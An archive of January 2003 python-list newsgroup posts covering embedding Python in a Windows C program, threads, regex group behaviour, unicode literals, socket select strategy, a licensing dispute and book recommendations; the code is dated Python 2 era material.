References: <b0r7b0$snt6o$1@ID-88790.news.dfncis.de> <b0r8pm$aiv$05$2@news.t-online.com>
Message-ID: <m37kcuwt9g.fsf@ferret.object-craft.com.au>

>>>>> "Martin" == Martin v L?wis <martin at v.loewis.de> writes:

Martin> Axel Schlueter wrote:
>> while trying to embed python as a scripting possibility into my
>> application, I stumbled across error handling. If python finds a
>> syntax error, the interpreter prints its error messages to stderr,
>> but I would like to open my own error dialog box containing the
>> message. Is there anything like an error callback hook or something
>> ?

Martin> How do you invoke the Python code? Python will not, normally,
Martin> print an error on stderr, but will return a NULL value from
Martin> the API, with a SyntaxError set.

This is a test program I wrote when I embedded Python (on Windows).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

#include <stdlib.h>
#include <stdarg.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>

#include <Python.h>

static PyObject *traceback_module;
static PyObject *string_module;

static PyObject *winmain_func;

static PyObject *import_module(char *name)
{
	PyObject *str, *module;
	char msg[128];

	str = PyString_FromString(name);
	if (str == NULL)
		return NULL;
	module = PyImport_Import(str);
	Py_DECREF(str);
	if (module == NULL) {
		sprintf(msg, "Could not import %s module", name);
		MessageBox(NULL, msg, "Python Error", MB_ICONEXCLAMATION | MB_OK | MB_TASKMODAL);
		return NULL;
	}

	return module;
}

static void python_error()
{
	PyObject *exc = NULL, *value = NULL, *trace = NULL,
		*func = NULL,
		*lines = NULL,
		*str = NULL,
		*obj = NULL;

	// exc, value, trace = sys.exc_info()
	PyErr_Fetch(&exc, &value, &trace);

	// import traceback
	if (traceback_module == NULL)
		traceback_module = import_module("traceback");
	if (traceback_module == NULL)
		goto error;

	// lines = traceback.format_exception(exc, value, trace, 20)
	obj = PyModule_GetDict(traceback_module);
	func = PyDict_GetItemString(obj, "format_exception");
	Py_DECREF(obj); obj = NULL;
	if (func == NULL)
		goto error;
	lines = PyObject_CallFunction(func, "OOOi", exc, value, trace, 20);
	if (lines == NULL)
		goto error;
	Py_DECREF(func); func = NULL;

	// import string
	if (string_module == NULL)
		string_module = import_module("string");
	if (string_module == NULL)
		goto error;

	// str = string.join(lines)
	obj = PyModule_GetDict(string_module);
	func = PyDict_GetItemString(obj, "join");
	Py_DECREF(obj); obj = NULL;
	if (func == NULL)
		goto error;
	str = PyObject_CallFunction(func, "O", lines);
	if (str == NULL)
		goto error;
	Py_DECREF(func); func = NULL;

	MessageBox(NULL, PyString_AsString(str), "Python Error", MB_ICONEXCLAMATION | MB_OK | MB_TASKMODAL);

error:
	Py_XDECREF(exc); Py_XDECREF(value); Py_XDECREF(trace);
	Py_XDECREF(func);
	Py_XDECREF(lines);
	Py_XDECREF(str);
	Py_XDECREF(obj);

	PyErr_Clear();
}

static void python_init_module(char *name)
{
	PyObject *obj = NULL, *mod = NULL, *dict = NULL;

	Py_Initialize();

	obj = PyString_FromString(name);
	if (obj != NULL) {
		mod = PyImport_Import(obj);
		if (PyErr_Occurred())
			mod = NULL;
	}
	if (mod != NULL)
		dict = PyModule_GetDict(mod);
	if (dict != NULL)
		winmain_func = PyDict_GetItemString(dict, "winmain");

	Py_XDECREF(obj);
	Py_XDECREF(mod);
	Py_XDECREF(dict);
}

int APIENTRY WinMain(HINSTANCE inst, HINSTANCE prev_inst, LPSTR cmd_line, int cmd_show)
{
	PyObject *obj;
	int ret;

	python_init_module(cmd_line);
	if (winmain_func == NULL) {
		python_error();
		return 0;
	}

	ret = 0;
	obj = PyObject_CallFunction(winmain_func, "iisi", inst, prev_inst, cmd_line, cmd_show);
	if (obj != NULL)
		ret = PyInt_AsLong(obj);
	Py_XDECREF(obj);
	if (PyErr_Occurred())
		python_error();

	return ret;
}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Because I am also an idiot I fiddled around with making a swig-free
thin wrapper around some of the Platform SDK (don't ask).

Here is the Hello Windows program...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
from sdk32 import *

ps = PAINTSTRUCT()
rect = RECT()
def wnd_proc(wnd, msg, wparam, lparam):
    global ps, rect
    if msg == WM_PAINT:
        dc = BeginPaint(wnd, ps)
        GetClientRect(wnd, rect)

        DrawText(dc, 'Hello Windows!', -1, rect,
                 DT_SINGLELINE | DT_CENTER | DT_VCENTER)

        EndPaint(wnd, ps)
        return 0

    elif msg == WM_DESTROY:
        PostQuitMessage(0)
        return 0

    return DefWindowProc(wnd, msg, wparam, lparam)

def winmain(inst, prev_inst, cmd_line, cmd_show):
    app_name = 'HelloWin'

    wc = WNDCLASSEX()
    wc.style = CS_HREDRAW | CS_VREDRAW
    wc.wnd_proc = wnd_proc
    wc.inst = inst
    wc.cursor = LoadCursor(0, IDC_ARROW)
    wc.background = GetStockObject(WHITE_BRUSH)
    wc.name = app_name
    RegisterClassEx(wc)

    wnd = CreateWindow(app_name, 'The Hello Program', WS_OVERLAPPEDWINDOW,
                       CW_USEDEFAULT, CW_USEDEFAULT,
                       CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, inst, 0)

    ShowWindow(wnd, cmd_show)
    UpdateWindow(wnd)

    msg = MSG()
    while 1:
        if not GetMessage(msg, 0, 0, 0):
            break
        TranslateMessage(msg)
        DispatchMessage(msg)
    return msg.wparam

if __name__ == '__main__':
    winmain(GetModuleHandle(None), 0, '', SW_SHOWNORMAL)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

-- 
http://www.object-craft.com.au



From N.Vasiliev at apatit.com  Fri Jan 31 01:53:35 2003
From: N.Vasiliev at apatit.com (Nicolay Vasiliev)
Date: Fri, 31 Jan 2003 09:53:35 +0300
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru>
Message-ID: <b1d6hf$175s$1@bull.east.ru>

Also I need to ask:
which distribution is preffered from ActiveState or python.org?





From fredrik at pythonware.com  Sun Jan  5 04:38:36 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 05 Jan 2003 09:38:36 GMT
Subject: Distributing Python apps
References: <mailman.1041720609.1880.python-list@python.org>
Message-ID: <w2TR9.4597$LY2.265201@newsc.telia.net>

David LeBlanc wrote:

> In terms of a download, I'm betting that 2+mb for a runtime only including
> application bytes (binaries and doc) is more likely.

if you're using a lightweight GUI toolkit (or no GUI), you'll need around
1mb for the installer, and 2-3mb on the disk.  see e.g:

    http://www.effbot.org/zone/effbot-exe-index.htm

with a toolkit like tkinter or wxpython, add another megabyte or two
for the installer.

to put python plus tkinter plus a very small application on a 1.44mb
disk, you need to go back to Python 1.5 or earlier.  see e.g.

    http://www.pythonware.com/products/python/old.htm

(this is for windows.  linux RPMs tend to be a bit bigger, but ymmv
as usual)

> I suggest a more practical and realistic goal is to plan on a CD
> distribution. It's probably actually cheaper to distribute on CD then on
> floppy these days anyway.

definitely (even if there is a floppy drive in your machine, are you
sure it's working?  when did you last use it?)

or he could use HTTP, like everyone else...

</F>





From peter at engcorp.com  Tue Jan 28 14:00:30 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 14:00:30 -0500
Subject: Starting threads
References: <Pine.LNX.4.44.0301281637060.26166-100000@x.opf.slu.cz>
Message-ID: <3E36D34E.4CB5237F@engcorp.com>

Lukas Kubin wrote:
> 
> I'm doing Python threads for the first time. In the following code I need
> to use the time.sleep(.005) for the thread to executed right. Otherwise it
> "omits" the first threads.
> The doTheAction() function is a socket operation which I need to connect
> parallelly to multimple computers. What am I doing wrong?

You're not doing anything _inherently_ wrong that would prevent this
from working, so it must be something related to the specifics of
Computers and doTheAction().  My guess is that doTheAction() is not
thread-safe and you are entering it multiple times without any kind of
"critical section" to protect the resources it uses.

> import threading
> 
> class Control(threading.Thread):
> 
>   def run(self):
>     doTheAction()
> 
> if __name__ == '__main__':
> 
>   for comp in Computers:
>     thread = Control()
>     thread.start()
>     time.sleep(.005)   # <-- This is what I still need to use

There are a few things you should tweak in any case.  Computers 
looks like a class name, because the convention is that names of
classes are capitalized in Python.  You might be going against this
convention, but it makes it harder for someone unfamiliar with
your code to read.

If you even plan on having your Control objects need any kind
of initialization, you should include an __init__ method that
calls the threading.Thread.__init__ method as well, since otherwise
your threads will not work properly.

Other than my guess above (and you'd have to tell more about what
doTheAction() does and how it does it), I can't see anything 
that is definitely the problem.

-Peter



From dave at pythonapocrypha.com  Tue Jan  7 18:48:01 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 7 Jan 2003 15:48:01 -0800 (PST)
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301062130.5299a0ff@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <Pine.LNX.4.51.0301071539050.22118@ns0.tbye.com>

On Mon, 6 Jan 2003, James Huang wrote:

> Perl and Python programmers are all material witnesses
> of how scripting can greatly improve productivity. That's
> why scripting languages enjoy great success. Scripting
> means that we can issue OS commends from within a
> full-fledged programming language -- a scripting language.
>
> Have you ever thought about scripting more areas, such
> as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> script OS commands, all at once? Think about it!

Heehee... we're already doing that. I guess you haven't used Python much,
huh? :)

> Perhaps back then, it was satisfactory enough to script
> just OS commands. Not any more! Today, SQL, XML, HTML,
> HTTP and E-mail are a part of our everyday lives. A
> language tool capable of scripting all these will put
> tremendous power in the hands of innovative programmers.
> The good news is, such a tool has emerged -- JudoScript.

Oh... this is an advertisement. Never mind.

> JudoScript is a general-purpose, Java scripting,
> multi-domain language. It is a general-purpose
> programming language, fully capable of Java scripting,
> and supports many applcation features in a
> domain-specific way that include:

Could you please explain how scripting, e.g. ActiveX (per the article on
your site) is any better (heck, any _different_ for that matter) than
doing it in, e.g. Python? I looked at the example code and it is nearly
identical to the Python equivalent (well, I only looked at the Internet
Explorer example - once I saw that it was virtually identical to the
Python version I stopped reading).

> What about Python and Perl? One thing you need to

I got a kick out of this statement on your site:

"which is a much better effort than Python libraries because Java is an
established system programming language , designed for and capable of
building big software applications"

I guess I don't know who your intended audience is, because to me such a
statement really lowers your credibility. If you'd like I'd be happy to
help rewrite it to at least make it accurate.

Have fun,
Dave




From hpk at trillke.net  Wed Jan 29 18:28:11 2003
From: hpk at trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 00:28:11 +0100
Subject: ANN: rlcompleter2 0.95 Interactive Completion
Message-ID: <20030130002811.L10804@prim.han.de>

rlcompleter2-0.95  Python readline aka <tab> completion
-------------------------------------------------------

There are some small bugfixes and enhancements with 
the 0.95 version.  Moreover, i rearranged/extended 
the website, added an issue tracker (roundup) for bugs
and feature wishes and a development mailistlist.  
Please find it all here:

    http://codespeak.net/rlcompleter2/

I don't quite expect much traffic on the mailing list 
but it might be a good place to discuss further 
runtime introspection developments.  

One of my ideas is to make the completer 'embeddable' 
into an application.  A frontend could then connect 
to a running application and you could live-inspect your 
system (with tab-completion).  Apart from a terminal 
frontend a web based app could provide navigation and 
browsing through live objects  (including their 
documentation).  Anybody interested in stuff like 
this is invited to join the mailing list. 

thanks for your attention,

    holger




From adalke at mindspring.com  Sat Jan 11 00:21:14 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 22:21:14 -0700
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <dpe4f-52b.ln1@news.lairds.org>
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org>
Message-ID: <avoa2h$jt1$1@slb9.atl.mindspring.net>

Kyler Laird wrote:
> Thank you.  Any idea how I should have know to find that from
> here?
> 	http://www.python.org/doc/current/lib/re-syntax.html

Well, the regexp syntax is different from how a regexp engine
might use that syntax.  Eg,  Martel uses the same syntax (or
nearabouts) but a totally different API for working with it.

Therefore, the syntax and the how-to-access-the-data shouldn't
go together.

> Yes, and that surprises me.  It seems so obvious that it
> should return all matched pieces and so arbitrary that it
> only returns the last one.

Consider what that API might be.  You want a list of
all matches for a group.  That wouldn't help me since I
want the tree structure.  Others (which is most nearly
everyone!) just want one match, so having to do group(1)[0]
all the time would get annoying.

(There could be another API to access multimatch, but then
consider the data overhead for



> It's not documented where a user is likely to look for the
> RE syntax.  The RE syntax page gives what appears to be a
> very straightforward explanation of groups.  I don't know
> why a beginning Python user would think to look elsewhere
> for some strange behavior.

And there's nothing there about how to use the compile function
nor the 'groups()' method nor ... It's syntax only.

It could add a comment that the "\" refers to the most recently
matched group.  But I don't think it's needed.

BTW, what do you think

   (([a-z]+) (\2[0-9]+)\s*)+

against

   spam spam5 eggs eggs45 45

should do?  If you want group 2 to return all matches then
does that mean \2 should refer to any of the previous matches
of the [a-z]+ term?  There is actually some coherency between
the current behaviour of .group(2) and \2.



> Regardless, do you find it useful?  Can you think of any time
> when you want to match a bunch of things and just end up with
> the last one?

Hmm.  Okay, you wanted a way for findall to return your searches.
I find that inelegant because I would rather express my query
in a single regexp.  Semantically, re.compile(pattern).findall()
matches the same string as

    re.compile("(?:(?:%s).*)*)"

That's why my pattern in Martel was written as

    pattern = Martel.Re(r"(?P<word>[a-z]+)( (?P<var>(?P=word)[0-9]+))+")
    full_pattern = pattern + Martel.Rep(Martel.Str(" ") + pattern)

With Martel this is possible because it passes back the full
tree, and preserves the order between different matches.  For
you, if you did that, you would have had ... I don't know what
you would have had.

In your language, I don't find your solution useful.

The most common case is to get a single word, not a list of
matches.  Most cases which get a list of items can use the findall
method, as in

 >>> s = "1,2,45,73,4,345"
 >>> re.findall("\d+", s)
['1', '2', '45', '73', '4', '345']
 >>>

This does match a bunch of things to get a list of items.
Syntactically it's very weak, but it captures most people's
needs.  What you want is pretty unusual.

Don't get me wrong, I was really annoyed that I needed to
write Martel to solve my problem.  I wanted the code to
already exist.  But what you want still wouldn't have
pleased me.


> I can solve it lots of ways.  I went for what I thought was
> going to be an elegant solution.  I'd like to have a tool
> that works the way I expected the re module to work.

Martel?  :)

>>Show me a module besides Martel which lets you get access to
>>the parse tree.  I looked at about a dozen packages, read
>>through Friedl's 1st edition book, and posted to various newsgroups
>>looking for one.
> 
> 
> I'm not at all interested in how popular the solution is.

The thing is, few people need what you want.  It isn't popular,
which makes it less likely to exist.

So re doesn't do what you want and is unlikely going to add
support for it any time soon.

					Andrew
					dalke at dalkescientific.com




From martin at v.loewis.de  Sat Jan 25 08:58:18 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 14:58:18 +0100
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com> <7xsmvhq2bc.fsf@ruckus.brouhaha.com> <m3fzrhwjza.fsf@mira.informatik.hu-berlin.de> <7x8yx9qu51.fsf@ruckus.brouhaha.com>
Message-ID: <m3lm19uy9x.fsf@mira.informatik.hu-berlin.de>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> Is there an obstacle to instrumenting the memory allocator to remember
> how much memory has been allocated by sandboxed code?

Yes. It is difficult to find out whom to attribute any allocation
to. It is likely also very expensive even if not used.

Regards,
Martin



From nobody at nowhere.com  Mon Jan 27 12:58:01 2003
From: nobody at nowhere.com (Grumfish)
Date: Mon, 27 Jan 2003 17:58:01 GMT
Subject: About object reference and threads
Message-ID: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com>

How do I tell a Thread object what Queue object to use? I have a
parent object that has a Queue and a Thread as members. I want the
parent object to create the thread, tell it to write to to the Queue
object, then start the Thread. How do I do this? How do I get a
reference to an object?



From merman at snafu.de  Mon Jan 27 15:13:12 2003
From: merman at snafu.de (T. Kaufmann)
Date: Mon, 27 Jan 2003 21:13:12 +0100
Subject: Google Web Api
Message-ID: <3E3592D8.9000306@snafu.de>

Hi,

a question:

is there a Python-Module to access the Google Web Api?
In the Google *.zip file are only Java & .Net files.

Thanks for effort.

o-o

Thomas




From cben at techunix.technion.ac.il  Mon Jan 13 11:17:35 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 13 Jan 2003 18:17:35 +0200
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <avpspr$r9v$0@216.39.172.122>
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com>
 <avo5ir$m9h$0@216.39.172.122> <3E1FAA5F.F426AB6F@alcyone.com>
 <avpspr$r9v$0@216.39.172.122>
Message-ID: <Pine.GSO.4.44_heb2.09.0301131612370.4790-100000@techunix.technion.ac.il>

On 2003-01-11, Bengt Richter wrote:

> My first choice would be a new keyword to provide a place other than the parameter
> list to specify the def-time code that generates the local bindings in question
> (e.g., z above):
>
>    def foo(x, y=default):
>        preset: z=some_expression
>        ...
>
> IOW, the suite of "preset:" would be compiled to be executed at def-time
> rather than call-time. I.e., the code would go into the same context as
> the code that evaluates default parameter expressions, not into the body
> of the call-time function code. Having a full suite would allow exception handling
> and raising in that context, and uncaught exceptions would propagate the
> same way def-time default value expression exceptions do.
>
That's precisely the problem with it.  Consider the lisp/scheme way to
create functions with preset bindings, (including the "static" behaviour,
since python's restrictions against changing bindings in outer scopes
don't apply):

(let ((z zome_expression))
  (define (foo x y)
    ...))

Note that the binding is computed when the function is created and not
when it's run - and that's precisely how it's written.  Currently I can
blindly assume that the body of a def is not executed immediately.  With
your preset syntax, I must be wary when reading defs.  It'd be like lisp's
backquote, a.k.a. semi-quote (which allows special markers inside the
quoted expression to "unquote" parts of it) that requires more attention
from the reader than simple quoting.

Therefore I would only consider a syntax where the "presets" are outside
the def body.  The solution:

def foo():
    z = some_expression
    def foo(x, y=default):
        ...
    return foo
foo = foo()

satisfies me currently if I would want to pre-compute anything.  True,
the outer should be an unnamed lambda and the combined with the fact
that it's executed once, on the spot, it's precisely a let form.  How
about:

let z = some_expression:
    def foo(x, y=default):
        ...

The intention is that `foo` is still defined in the global namespace.
Only `z` has a local scope.  See point 3 below.

The problems:

1. Most would probably consider this a YAGNI for adding a new keyword.

2. I see no elegant syntax to allow multiple bindings on the same level
   (e.g. let and not "poor-man's let*").  For multiple bindings that
   are not inter-dependent, nesting the lets is visually sub-optimal...
   The closest thing in python for simultatneous bindings is augmented
   assignment but it was not designed for this case (no var-value pairs
   ordering and doesn't continue for many lines.

3. The same reason why Python avoids nesting scopes in e.g. a for loop:
   currently, the scope-creating constructs (def & class) make all
   inner assignments have a new scope.  So introducing anything that
   behaves otherwise would make scoping less consistent and "harder to
   explain".  On the other hand, it would also make it much easier to use
   and I believe the later should win.

> Of course preset: would allow single-line or indented suites like any compound
> statement.
>
That means that you allow not only assignments in the preset section.  I
guess the semantics are just to freeze the locals at the end of the preset
section and continue from there every time the function is called.  That's
nice, reminds iterators:

def foo():
    z = some_expression
    yield None	# dummy
    ...
foo = foo()
foo.next()	# execute preset
foo = foo.next	# the continuation in callable form

Alas, the resulting code can't accept parameters at call time and
more importantly, it can only be called once...

> I think if it became a convention to set up bindings to module elements
> etc, and do other expensive one-time things in the preset: suite, we would
> see both less clutter in the function code body and better speed.
>


> Conceivably on could write a source-transforming optimizer to hoist builtin
> dotted module references into the preset suite, as a start. Maybe with
> some hints it could hoist other global refsas well. It might be an
> alternative to complex runtime global access optimizations.
>
They are not that complex, especially PEP 267.  If the only use for this
is proving clean syntax for manual optimization of global lookups, I'm
against it.  I do think that a let construct could be very useful beyond
optimizations, as I said above.

> ==[1]============================================================
> Persistent local bindings would also be useful.
[snip]
> What's needed for persistently rebindable local names is a way to
> differentiate the names. I think just prefixing a dot would be concise
> and simple, e.g.,
[snip]
> There, now we have the best of both worlds ;-)
>
> BTW, you could implement .xxx as foo.xxx, but it would be more efficient to
> collect all the dot-names and do a __slots__ kind of thing with them, IWT.
>
I surely would rathen write the static variables as attributes of the
function.  Clean and reable.  But using static variables is the best way
to ask for trouble, anyway.  Use an object or factory function as you say
below.

> Of course, you probablywouldn't want to use persistent bindings directly
> in e.g., library functions but you mightwant to make a factory function that
> returns configured function instances which would have separate persistent locals.
>
But then where are they stored?  This is very easy to implement with
current functions and the standard boxing idiom for changing values
in outer scopes:

def make_foo(z):
    z = [z]
    def foo(x, y=default):
        ...
        z[0] += 1
        ...

Except that it's ugly.  A class would be more elegant here I think.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

Holy resolution for a holy war: the Torah stores most numbers as
little-endian (e.g. "seven and twenty and a hundred years")!






From prettyinperl at yahoo.com  Wed Jan  8 15:14:23 2003
From: prettyinperl at yahoo.com (Perl B. Best, FTR)
Date: 8 Jan 2003 12:14:23 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <3E1B0550.4A06B801@engcorp.com> <86of6sshyq.fsf@Zorthluthik.foo>
Message-ID: <4aa9139d.0301081214.4b9c37a4@posting.google.com>

llewelly <llewelly.at at xmission.dot.com> wrote in message news:<86of6sshyq.fsf at Zorthluthik.foo>...

> > 
> > Maybe these stats say more about dice.com itself than about the 
> > state of the economy.  Are the numbers reflected in other sites?
> > Or is dice.com *the* place to go, so we can take it as representative?
> *shrug*
> 
> Of all the software development jobs I've had, *none* appeared on
>     dice.com.
> 
> And I've used perl at every software development job I've had, though
>     none of them listed perl as a requirement, or even as a desirable
>     skill.

Most managers don't know what Perl or Tk is.  All they read is fluff
supported by M$ advertizing bucks.  One of the most useful things to
know is how to cross link languages, so when some asswipe tells you to
write a program and it must be in C++, you do something like this:

	#include "blah.h"
	// Bill Gates blows
	int
	main(int argc, char** argv) {
		runPerl();
	}

Once most of these losers figure out how much more can be done with
less work using Perl and Tk, they pretend like they thought of it to
their bosses.



From sross at connectmail.carleton.ca  Tue Jan  7 08:13:54 2003
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Tue, 7 Jan 2003 08:13:54 -0500
Subject: Books: Core Python Programming vs. Python Cookbook
References: <f774ba3f.0301062029.721ede80@posting.google.com>
Message-ID: <zoAS9.2014$7h3.484744@news20.bellglobal.com>

I'm not very familiar with "Core Python", though I have browsed through it.

I own the "Python Cookbook" and I'm very happy with it.
It fits very neatly into one part of your criteria -

>  Mostly I want
> something to which I can refer for ideas on how to do things better
> and examples of things I never knew were possible (or at least I never
> knew were simpler than they sound).

And, it does cover some Tkinter, network programming, etc. But it does not
cover these topics in depth.
Also,  it is available for free online. Personally, I prefer to read from a
book which is why I bought a copy.
But the same material, plus new submissions are available at
     aspn.activestate.com/ASPN/Python/Cookbook/
in case your interested.

For greater coverage of Tkinter, network programming, etc., I'd recommend
     "Programming Python, 2nd Ed.", by Mark Lutz.
It's a bit dated now, but it's still got a lot of code on a lot of subjects.
Unfortunately, it is pretty expensive so, if money is an issue, this may be
a problem.

Oh, and for Tkinter in particular, I'd recommend "Python and Tkinter", by
John E. Grayson.
But, again, you've only got so much money...

So, in a nutshell (which should be out soon I hope,  ;)  ),
I'd say if you have the money get "Programming Python, 2nd Ed." otherwise
get "Python Cookbook".
The only thing I can say about "Core Python" is it did not convince me to
purchase it.

OK, good luck and have fun,
Sean

"Neil MacMillan" <sir_penguin.geo at yahoo.com> wrote in message
news:f774ba3f.0301062029.721ede80 at posting.google.com...
> I'm a 1st year computer science student, but I've been teaching myself
> Python as my first useful programming language on and off for over a
> year and a half.  I'm confident that I know the basic programming
> concepts and Python-specific concepts, and I'm slowly working my way
> through GUI programming now.  I don't know about threading, sockets,
> and similar things that aren't applicable to a broad range of
> applications.
>
> I'm looking for a book in which I can find explanations and examples
> for things like Tkinter, network programming in Python, etc.  Topics
> that are covered in the official tutorial aren't necessary, but my
> intelligence won't be insulted if they're there.  Mostly I want
> something to which I can refer for ideas on how to do things better
> and examples of things I never knew were possible (or at least I never
> knew were simpler than they sound).
>
> I've been going to the Chapters store and reading Core Python for
> explanations of specific things that I needed to know, but the other
> day I looked at Python Cookbook, which seemed interesting too.
> Unfortunately, Chapters recently took Core Python off the shelf, so I
> can't compare them myself.  Chapters.ca has a 30% off sale, and I got
> a $20 gift certificate for my birthday, so I can afford one or the
> other (I might be able to make myself afford both if necessary, but I
> won't count on it).  They're about the same price, so sadly I can't
> decide on that basis.  If you please, which one would you recommend,
> and why?  Would it be worth getting both?





From martin at v.loewis.de  Mon Jan 27 04:15:05 2003
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 27 Jan 2003 10:15:05 +0100
Subject: how to use unicode?
In-Reply-To: <mailman.1043632911.16637.python-list@python.org>
References: <mailman.1043632911.16637.python-list@python.org>
Message-ID: <3E34F899.4090109@v.loewis.de>

gfu wrote:
> 	>>> u'??'
> 	 u'\xcb\xc6\xcd\xf8\xd2\xb3'

In Python 2.2, you cannot put non-ASCII characters into a Unicode 
literals(*). In Python 2.3, this is possible, but only if you declare 
the file encoding (i.e. you cannot enter them readily in interactive mode).

So if you want those characters in a string, you need to write

u'\u884c\u90fd'

Here, U+884C and U+90FD are the Unicode code points of the two 
characters you show above. Alternatively, writing

unicode('??', 'gb2312')

should also work, provided you have a codec for gb2312 installed (and 
provided your input is really encoded in gb2312).

HTH,
Martin

(*) Strictly speaking, you can put any Latin-1 into a Unicode literal if 
the file is encoded in Latin-1.




From dwelch91 at no.spam.attbi.com  Sat Jan 18 21:20:14 2003
From: dwelch91 at no.spam.attbi.com (djw)
Date: Sun, 19 Jan 2003 02:20:14 GMT
Subject: socket programming strategy
In-Reply-To: <utlW9.855$LD.33@newssvr19.news.prodigy.com>
References: <mailman.1042929275.30975.python-list@python.org> <utlW9.855$LD.33@newssvr19.news.prodigy.com>
Message-ID: <yXnW9.733034$P31.543715@rwcrnsc53>

Dennis Reinhardt wrote:
>>select() calls inside threads, waiting for just one socket.
>>Is this plan workable? Or have I missed something?
> 
> 
> The downside of blocking sockets is that you need to be able to abort
> process externally to exit.  The internal code cannot just set  flag and
> expect all threads to exit.
> 
> In my case, this is mostly a development issue.  If one thread takes an
> exception during development, I do want to exit, modify code, and try again.
> In production, if one thread takes an exception, I do not want all other
> threads to continue running..
> 
> Non-blocking sockets are a development convenience for me, one that I am
> doing without because external abort is easy in most cases.
> --
> 
> Dennis Reinhardt
> 
> http://www.dair.com
> 
> 
Just have your threads create sockets are connected via pipes to other 
sockets that participate in the select(). When a thread need to unblock 
the select(), it just writes to the socket. See select_trigger.py in the 
Medusa project for sample code. I have written my own version of this 
using the Medusa code as a starting point and it works very well.

/d/






From hancock at anansispaceworks.com  Mon Jan 20 02:04:19 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 20 Jan 2003 07:04:19 GMT
Subject: license
References: <mailman.1043025215.4988.python-list@python.org>
Message-ID: <TbNW9.2339$bL4.237341@newsread2.prod.itd.earthlink.net>

Arthur wrote:
> I am curious why Terry is so adamant that it is not. That my suggestion is
> even impertinent.

Because you are talking about use restrictions, not redistribution. There's 
no license issues at all. If I write code that patches an existing 
distribution and then redistribute the result, then there can be a license 
issue (but if there is, the license is no longer Free -- allowing modified 
redistribution is the most basic definition of Free software).

Also, Free software should specifically disclaim warranty, so there's no 
guarantee on that front either.  Strictly caveat emptor. And as long as you 
aren't paying for it, I think that's perfectly fair. In fact, I think that 
if you didn't pay for the work that a lack of warranty should be implicit 
even without a disclaimer.  But as the law stands, your attitude proves to 
me the importance of using such disclaimers.

Why am I adamant? Because you are proposing to mount a legal attack on a 
developer for creating Free software. I can think of no more effective way 
to chill development than if such a precedent were somehow to succeed 
(fortunately, I feel confident that it would not).

You may not like how that developer's package works.  I personally agree 
with your opinion on the design issue (at least as far as I understand you 
-- I haven't seen the rebuttal, only your statement that you didn't 
understand it, which is hardly a strong case). But as I posted, you already 
have perfectly adequate remedies for it:

* Use somebody else's package if there is one.

* Make your own replacement (by patching or forking if possible).

You're entitled to your aesthetics, but you have no right to force them on 
other people. Like I said -- if you don't like it, don't use it!  If you 
want to start a campaign to get other people not to use it, fine.  But why 
should you have any legal right to *enforce* coding standards on other 
people?

Politely persuading the other party is perfectly reasonable, of course, but 
if no agreement can be reached, then that's just tough cookies. See the 
remedies above.  Suing him isn't one of them, and I think that's exactly 
the way it should be.

Yes, I certainly find that impertinent. Impertinent, oppressive, 
controlling, litigious, and totally and completely opposed to Freedom. And 
I guess in my book, that's pretty nearly a description of Perfect Evil.  
Those are my values, and I don't plan on changing them to accomodate you.

Sorry to be rigid, but intolerance is the one thing I cannot tolerate.

Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From max at alcyone.com  Mon Jan 20 02:26:59 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 23:26:59 -0800
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com>
Message-ID: <3E2BA4C3.923BE9D2@alcyone.com>

Jimmie Fulton wrote:

> I'm unable to get any matches with re in a loop when the file I'm
> looping
> over is stdin.  When I use open(), it works fine.  Any hints?

No obvious differences are jumping out at me.  Maybe if you showed us
the file you're using and how you're invoking the script in either way?

By the way, a more idiomatic way to iterate over every line in a file
is:

	while 1:
	    line = F.readline()
	    if not line:
	        break
	    ...

In modern versions, you can just iterate over the file object itself:

	for line in F:
	    ...

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
